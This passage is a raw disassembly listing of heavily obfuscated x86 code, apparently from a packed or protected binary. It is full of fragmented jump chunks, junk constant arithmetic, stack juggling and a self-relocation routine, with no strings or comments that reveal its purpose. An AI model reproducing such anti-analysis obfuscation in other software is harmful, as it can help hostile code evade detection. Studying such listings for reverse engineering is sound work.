		pop	esi
		mov	ebx, 1
		jmp	loc_58B4FE
; ---------------------------------------------------------------------------


loc_58B688:				; CODE XREF: sdfs____:0058B66Bj
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_58B694:				; CODE XREF: sub_587F3F+35A3j
		mov	edx, 929h
		jmp	loc_5B045B
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		dw 0FEF4h
		dd 1B0012h, 0C248026Fh,	0C2480060h, 230060h, 0A525026Fh
		dd 60h,	2020000h, 20000h, 10000h, 30000h, 3DBA0000h, 0F86Fh
		dd 4 dup(0)
		dd 77550000h, 104F0059h, 621F0059h, 0F8CB0059h,	2F5E0058h
		dd 1F150059h, 0EB4E0059h, 0EF690058h, 2C2F0058h, 0E7F30059h
		dd 0F44B0058h, 18C70058h, 49210059h, 0EA60059h,	7F7A0059h
		dd 0E38A0059h, 0C1650058h, 2FA30058h, 0E2840059h, 0E7C00058h
		dd 0D59C0058h, 71C0058h, 0BFEA0059h, 77FC0058h,	0C89A0059h
		dd 5F1A0058h, 71470059h, 60050059h, 0EA750059h,	0BA230058h
		dd 0BAC20058h, 0C5C50058h, 3BEE0058h, 26C30059h, 5430059h
		dd 16C90059h, 0B4B0059h, 445D0059h, 0E22A0059h,	723D0058h
		dd 30E10059h, 0BB860059h, 31750058h, 403E0059h,	0C0F20059h
		dd 6E8C0058h, 3E460059h, 0E3390059h, 0FB9B0058h, 3EAC0058h
		dd 0D6890059h, 0DB100058h, 2AF0058h, 0FECA0059h, 437E0058h
		dd 57740059h, 5DCB0059h, 2B0E0059h, 4A450059h, 0D1A0059h
		dd 5C1F0059h, 0FB580059h, 62A10058h, 40B10059h,	22C0059h
		dd 0CAB30059h, 0E9D60058h, 65D0058h, 39A90059h,	45AD0059h
		dd 0EF3A0059h, 106D0058h, 0BCA60059h, 37BC0058h, 0AB90059h
		dd 0F7CE0059h, 68380058h, 5E7A0059h, 0D0560059h, 3F2A0058h
		dd 76430059h, 0D6A0059h, 5DD0059h, 124F0059h, 394E0059h
		dd 0F41A0059h, 0FD160058h, 572E0058h, 68280059h, 14A80059h
		dd 3740059h, 36C30059h,	8B070059h, 0F8A70059h, 0BF670058h
		dd 64EB0058h, 415E0059h, 0D6480059h, 0DF540058h, 0E0690058h
		dd 0C2280058h, 200C0058h, 5B270059h, 63400059h,	0C3A40059h
		dd 0D4A30058h, 0DCDA0058h, 4FA70058h, 24AD0059h, 41B50059h
		dd 0D5C10059h, 0D7B70058h, 0BAA0058h, 5D7E0059h, 27CD0059h
		dd 0F7850059h, 1F270058h, 4B7A0059h, 2D950059h,	2FD60059h
		dd 0BBC90059h, 0D0010058h, 24DF0058h, 0F7D60059h, 0DC330058h
		dd 0E4140058h, 41840058h, 0F5E70059h, 1CD0058h,	87D70059h
		dd 2B1E0059h, 83A50059h, 239F0059h, 3FEA0059h, 13D80059h
		dd 22720059h, 669D0059h, 5E890059h, 0CD970059h,	0CE3E0058h
		dd 65590058h, 0DC6F0059h, 6FA50058h, 30D90059h,	39F10059h
		dd 0F6370059h, 70060058h, 0E90A0059h, 72650058h, 80920059h
		dd 61D60059h, 207B0059h, 46C00059h, 70A10059h, 39080059h
		dd 0DBF90059h, 2B850058h, 38440059h, 19790059h,	3C8C0059h
		dd 1C920059h, 0E8470059h, 3FB90058h, 7C590059h,	895F0059h
		dd 8B540059h, 630F0059h
		db 59h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58B97E:				; CODE XREF: sdfs____:005B04C5j
					; sdfs____:005B04CFj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E97BCCh
		mov	eax, edi
		add	edi, 7E978E4h
		cmp	eax, [edi+2Ch]
		jnz	short loc_58B99C
		jmp	short loc_58B9AF
; ---------------------------------------------------------------------------


loc_58B99C:				; CODE XREF: sub_5BB696-2FCFEj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_58B9AB
; ---------------------------------------------------------------------------


loc_58B9A6:				; CODE XREF: sub_5BB696-2FCE9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_58B9AB:				; CODE XREF: sub_5BB696-2FCF2j
		or	ecx, ecx
		jnz	short loc_58B9A6


loc_58B9AF:				; CODE XREF: sub_5BB696-2FCFCj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_58B9BC:				; CODE XREF: sub_5BB696-2FCD3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_58B9BC


loc_58B9C5:				; CODE XREF: sub_59587A-9EA1j
					; sub_59666E-AA62j ...
		lodsb
		jmp	loc_590B62
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58B9CB:				; CODE XREF: sub_59587A-85A2j
		sub	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58B9DE:				; CODE XREF: sub_591435+35B4j
		add	ebx, ecx
		sub	ebx, 1A357F73h
		add	ebx, 1E072608h
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_59026D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58B9F5:				; CODE XREF: sub_594228-61D5j
		pop	ebx
		jmp	loc_594E61
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58B9FB:				; CODE XREF: sdfs____:00595BCDj
		pop	ebp
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 64EC485Ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_594BC1
; ---------------------------------------------------------------------------


loc_58BA10:				; CODE XREF: sdfs____:0058F50Dj
		push	ebx
		mov	bl, 0BBh
		and	bl, 0FDh
		jmp	loc_592501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BA1B:				; CODE XREF: sub_591435+6DD7j
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_58F6BC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58BA23:				; CODE XREF: sdfs____:0058DBF4j
		mov	cx, [esp]
		push	193Ah
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58EA81
; ---------------------------------------------------------------------------


loc_58BA3A:				; CODE XREF: sdfs____:0059107Cj
		add	dword ptr [esp], 2A1F56ADh
		sub	dword ptr [esp], 78093DE4h
		jmp	loc_590CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BA4D:				; CODE XREF: sub_591435+3105j
		push	ecx
		mov	ecx, 51FE842Ah
		add	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		pop	eax
		add	ebx, eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 1202A3Eh
		mov	eax, esi
		pop	esi
		xor	eax, 54AF01B9h
		add	ebx, eax
		mov	eax, [esp+0]
		jmp	loc_58F5A8
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BA8C:				; CODE XREF: sub_594228+3DCAj
		dec	eax
		sub	eax, 18473C87h
		sub	eax, 0DC188D74h
		add	esi, eax
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_595E4F
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58BAA9:				; CODE XREF: sub_59841F+634j
		push	[esp+arg_0]
		jmp	loc_591BBF
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_58BAB2:				; CODE XREF: sub_58EB23+3622j
					; sdfs____:00592EDCj
		sub	ecx, 3EEF7D3h
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_58D043
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59774D
; ---------------------------------------------------------------------------


loc_58BACE:				; CODE XREF: sdfs____:0058DF4Fj
		sub	[esp+4], ebx
		jmp	loc_595909

; =============== S U B	R O U T	I N E =======================================



sub_58BAD7	proc near		; CODE XREF: sub_58BC4E+7AEAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CA56 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CF81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D35B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DF2C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00590947 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00590E23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592163 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00592D5E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059434E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00594AA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005962E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00597285 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0059836E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598681 SIZE 0000000E BYTES

		sub	esp, 4
		jmp	loc_592163
sub_58BAD7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58BADF:				; CODE XREF: sub_59841F-9C76j
					; sub_591435+242j
		add	esp, 4
		push	eax
		push	esp
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_58F3C1
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58BAFB:				; CODE XREF: sdfs____:0058F430j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	bh, 81h
		jmp	loc_598273
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58BB0F:				; CODE XREF: sub_59841F-1129j
		sub	ebp, 7203998Eh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_590007
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BB1D:				; CODE XREF: sub_591435:loc_58D06Ej
					; sdfs____:00596B77j
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_59113D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58BB2D:				; CODE XREF: sdfs____:0058FB30j
					; sub_59841F-74B2j
		push	ecx
		mov	ecx, 61BB10A7h
		jmp	loc_593B51
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592F43


loc_58BB38:				; CODE XREF: sub_592F43-2702j
		add	esp, 4
		jmp	loc_58BF0D
; END OF FUNCTION CHUNK	FOR sub_592F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594767


loc_58BB40:				; CODE XREF: sdfs____:0059047Fj
					; sub_594767+3DCEj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		jmp	loc_592193
; END OF FUNCTION CHUNK	FOR sub_594767
; ---------------------------------------------------------------------------


loc_58BB55:				; CODE XREF: sdfs____:0058FF5Dj
					; sdfs____:00595891j
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5958DD
; ---------------------------------------------------------------------------


loc_58BB69:				; CODE XREF: sdfs____:0059492Ej
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_58E49D
; ---------------------------------------------------------------------------


loc_58BB7B:				; CODE XREF: sdfs____:0058D158j
		not	ecx
		shr	ecx, 1
		xor	ecx, edx
		jmp	loc_596978
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		push	esp
		jmp	loc_58F5D8
; ---------------------------------------------------------------------------


loc_58BB9F:				; CODE XREF: sdfs____:00590D8Ej
		add	ecx, 0FD3DCF29h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_58BD18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_58BBAD:				; CODE XREF: sub_590CC3+4650j
		mov	esp, [esp+4+var_4]
		sub	ebx, eax
		push	119Dh
		mov	[esp+0], ecx
		jmp	loc_596083
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_58BBBF:				; CODE XREF: sdfs____:0058F7DAj
		push	5681h
		jmp	loc_59063D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		push	ecx
		mov	ecx, 13833D9h
		jmp	loc_58DA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58BBD8:				; CODE XREF: sub_594F18-5053j
		pop	ebp
		jmp	sub_59369D
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_58BBDE:				; CODE XREF: sdfs____:0058EA25j
		mov	ebx, 18405C18h
		neg	ebx
		and	ebx, 76760017h
		shr	ebx, 6
		jmp	loc_5973A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_58BBF3:				; CODE XREF: sub_58E92A+652Bj
		sub	bl, 90h
		mov	cx, [esp+0]
		jmp	loc_598BB8
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BBFF:				; CODE XREF: sub_591435-4372j
		mov	[esp+0], ebx
		mov	bh, dl
		jmp	loc_590A97
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59666E


loc_58BC09:				; CODE XREF: sub_58FE99:loc_58F004j
					; sub_59666E-1E6Bj
		push	cx
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59666E
; ---------------------------------------------------------------------------


loc_58BC11:				; CODE XREF: sdfs____:00590967j
		xor	edi, 6D7A4F6Eh
		or	edi, 61F40C99h
		dec	edi
		jmp	loc_593F16
; ---------------------------------------------------------------------------


loc_58BC23:				; CODE XREF: sdfs____:loc_58F6D3j
		sub	edx, 59AF5353h
		jns	loc_58D7F6
		sub	edx, 6BC973E8h
		jmp	loc_596B64
; ---------------------------------------------------------------------------
		mov	ah, al


loc_58BC3C:				; CODE XREF: sdfs____:0058E67Fj
		pop	esi
		push	ecx
		mov	ecx, 54E8135Ch
		jmp	loc_593279
; ---------------------------------------------------------------------------


loc_58BC48:				; CODE XREF: sdfs____:005958EFj
		pop	esi
		jmp	loc_597A54

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58BC4E	proc near		; CODE XREF: sub_591AD9+3ED2j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058EC1B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058F123 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005903A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591029 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059229F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592565 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00592B64 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00593730 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059510C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595A2F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595CDF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00598A18 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592B64
sub_58BC4E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58BC5C:				; CODE XREF: sub_59214E-4DCFj
					; sdfs____:005947E7j ...
		sub	eax, 45CD6C30h
		add	eax, ebp
		add	eax, 45CD6C30h
		add	eax, 6EC72A4Eh
		push	ebp
		mov	ebp, 68D67C15h
		neg	ebp
		xor	ebp, 0BC93873h
		jmp	loc_5946AD
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_58BC80:				; CODE XREF: sdfs____:00598871j
		pop	edi
		mov	ecx, eax
		jmp	loc_58CA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58BC88:				; CODE XREF: sub_5BB696-2658Fj
		mov	cl, 0BDh
		or	cl, 40h
		add	cl, 85h
		sub	bl, cl
		pop	ecx
		sub	cl, bl
		pop	ebx
		add	bl, cl
		pop	ecx
		add	bl, al
		sub	bl, 0D7h
		push	ax
		push	ebx
		jmp	loc_5901E5
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_593AE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BCBE:				; CODE XREF: sub_594228-31CDj
		mov	ebp, esp
		push	ebx
		jmp	loc_5979D5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_58BCC6:				; CODE XREF: sub_58FE3C-2C10j
		add	ecx, 2
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		jmp	loc_591827
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------


loc_58BCD7:				; CODE XREF: sdfs____:0058D684j
		pop	edx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	50CCh
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		sub	esp, 4
		jmp	loc_5955D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58BCF7:				; CODE XREF: sub_59214E+178Fj
		pop	edx
		push	2300h
		mov	[esp+0], ecx
		jmp	loc_58DB70
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58BD05:				; CODE XREF: sub_598A21-6C17j
		add	ebp, 24B65324h
		sub	eax, ebp
		pop	ebp
		jmp	loc_590EE3
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_58BD13:				; CODE XREF: sub_590CC3-288Aj
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_58BD18:				; CODE XREF: sdfs____:0058BBA8j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BD28:				; CODE XREF: sub_594228+34D1j
		push	ax
		jmp	loc_597959
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BD2F:				; CODE XREF: sub_591370+431Dj
					; sub_591435+73CCj
		mov	ecx, 55762DA8h
		shr	ecx, 2
		shl	ecx, 7
		and	ecx, 3D434192h
		xor	ecx, 364864D2h
		xor	ecx, 1A55A8Ch
		add	ecx, 0E453C0A4h
		jmp	loc_5924CA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BD57:				; CODE XREF: sub_594228-7E9j
		shl	ebx, 5
		push	edx
		mov	edx, 671E7C0Ah
		sub	edx, 815347DCh
		add	ebx, edx
		pop	edx
		push	15ECh
		jmp	loc_593CFF
; ---------------------------------------------------------------------------


loc_58BD73:				; CODE XREF: sub_594228-251j
		mov	ebx, [esp+6+var_8+2]
		jmp	loc_59875C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58BD7B:				; CODE XREF: sdfs____:00595BFCj
		add	eax, 7C370BF0h
		mov	esi, [esp]
		jmp	loc_58E45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BD88:				; CODE XREF: sub_594228-3A14j
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		xchg	eax, ecx
		shl	ecx, 1
		shr	ecx, 4
		jnz	loc_5911D2
		add	ecx, 5ABACD44h
		jmp	loc_591218
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		add	edx, edi
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_58BDAA	proc near		; CODE XREF: sub_591435-2F58j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CC9F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058E351 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597DBB SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 3E597BDFh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_597DBB
sub_58BDAA	endp

; ---------------------------------------------------------------------------


loc_58BDB8:				; CODE XREF: sdfs____:0059374Cj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_58F09F
; ---------------------------------------------------------------------------


loc_58BDD0:				; CODE XREF: sdfs____:00592FFFj
		add	eax, edi
		add	eax, 1B606610h
		pop	edi
		xchg	eax, [esp]
		pop	esp
		movzx	cx, al
		push	small 5AFBh
		mov	[esp], cx
		jmp	loc_597A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58BDED:				; CODE XREF: sub_5917C0-2D7Bj
		mov	ecx, 2
		jmp	loc_590F46
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58BDF7:				; CODE XREF: sdfs____:0058E821j
		add	eax, 251A0BF9h
		add	eax, ebx
		sub	eax, 251A0BF9h
		add	eax, 74064C17h
		jmp	loc_59722E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58BE0D:				; CODE XREF: sub_5941BD-41E3j
		and	eax, ecx
		jmp	loc_58CDA6
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58BE14:				; CODE XREF: sdfs____:0058DCCEj
		xor	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 41B76879h
		or	ecx, 9750EF3h
		xor	ecx, 5C04154Eh
		add	ebx, ecx
		pop	ecx
		add	ebx, edx
		push	esi
		mov	esi, 15F37BB5h
		sub	ebx, esi
		pop	esi
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5952A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BE43:				; CODE XREF: sub_591435+1E62j
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_5954AA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58BE60:				; CODE XREF: sdfs____:00595E4Aj
		push	esi
		mov	esi, 44253F9Bh
		or	esi, 36FF23AEh
		dec	esi
		sub	esi, 13F97CC3h
		jmp	loc_59359D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58BE78:				; CODE XREF: sub_5917C0+66C0j
		mov	[esp+0], eax
		jmp	sub_58E92A
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58BE80:				; CODE XREF: sdfs____:00597486j
		shr	ebx, 1
		jns	loc_592BFE
		add	ebx, 0DCEAAA9Fh
		jmp	loc_58E45C
; ---------------------------------------------------------------------------
		pop	eax


loc_58BE94:				; CODE XREF: sdfs____:0058E665j
		inc	ebp
		jl	loc_595118
		add	ebp, 427711B7h
		jmp	loc_59823E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BEA6:				; CODE XREF: sub_591435+663Ej
		push	ecx
		mov	ch, 2Eh
		jmp	loc_595DAB
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58BEAE:				; CODE XREF: sdfs____:00595A52j
		xor	ebx, 270446E5h
		jmp	loc_591BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BEB9:				; CODE XREF: sub_594228-6406j
					; sub_58FE99-E8Fj
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58BEBE:				; CODE XREF: sdfs____:00597B7Fj
		mov	ebx, [esp]
		add	esp, 4
		sub	ch, 5Fh
		jmp	loc_596ACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58BECF:				; CODE XREF: sub_594228+19F2j
		add	esp, 4
		jmp	sub_58D9EF
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58BED7:				; CODE XREF: sdfs____:0058C7ADj
		push	esi
		jmp	loc_5935D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58BEDD:				; CODE XREF: sdfs____:0058FFC1j
					; sub_5917C0-F9Fj
		sub	esi, 0FF32AED7h
		jmp	loc_58DEF6
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58BEE8:				; CODE XREF: sdfs____:0058F4A1j
		xor	edi, [esp]
		jmp	loc_5903F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BEF0:				; CODE XREF: sub_591435-1BDEj
		mov	eax, 44B05316h
		add	ecx, eax
		pop	eax
		sub	ecx, 516C0E4Eh
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	edx
		jmp	sub_5987BC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592F43


loc_58BF0D:				; CODE XREF: sub_592F43-7408j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		jmp	loc_5938C6
; END OF FUNCTION CHUNK	FOR sub_592F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58BF1E:				; CODE XREF: sub_591370+BFDj
		sub	esi, eax
		jmp	loc_597FCE
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58BF25:				; CODE XREF: sub_5BB696:loc_596153j
		sub	bl, 0D0h
		jmp	loc_58FDBC
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_58BF2D:				; CODE XREF: sdfs____:0058FBDEj
		sub	eax, 2FE232A1h
		jmp	loc_58F5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58BF37:				; CODE XREF: sub_5987BC-7539j
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		pop	[esp-4+arg_0]
		pop	esp
		push	esi
		push	eax
		push	248F4B88h
		pop	eax
		not	eax
		push	ebp
		jmp	loc_58D16E
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58BF55:				; CODE XREF: sdfs____:00595654j
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_59885F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1895h
		mov	[esp], ecx
		jmp	loc_58FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58BF78:				; CODE XREF: sub_5941BD-1D8j
					; sdfs____:00596F25j
		push	1A7Fh
		mov	[esp+4+var_4], ebx
		mov	bl, dl
		push	eax
		mov	ah, bl
		jmp	loc_597CC6
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58BF8A:				; CODE XREF: sdfs____:00592AB8j
		push	esi
		mov	esi, 42701803h
		jmp	loc_590E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58BF95:				; CODE XREF: sub_591435+3077j
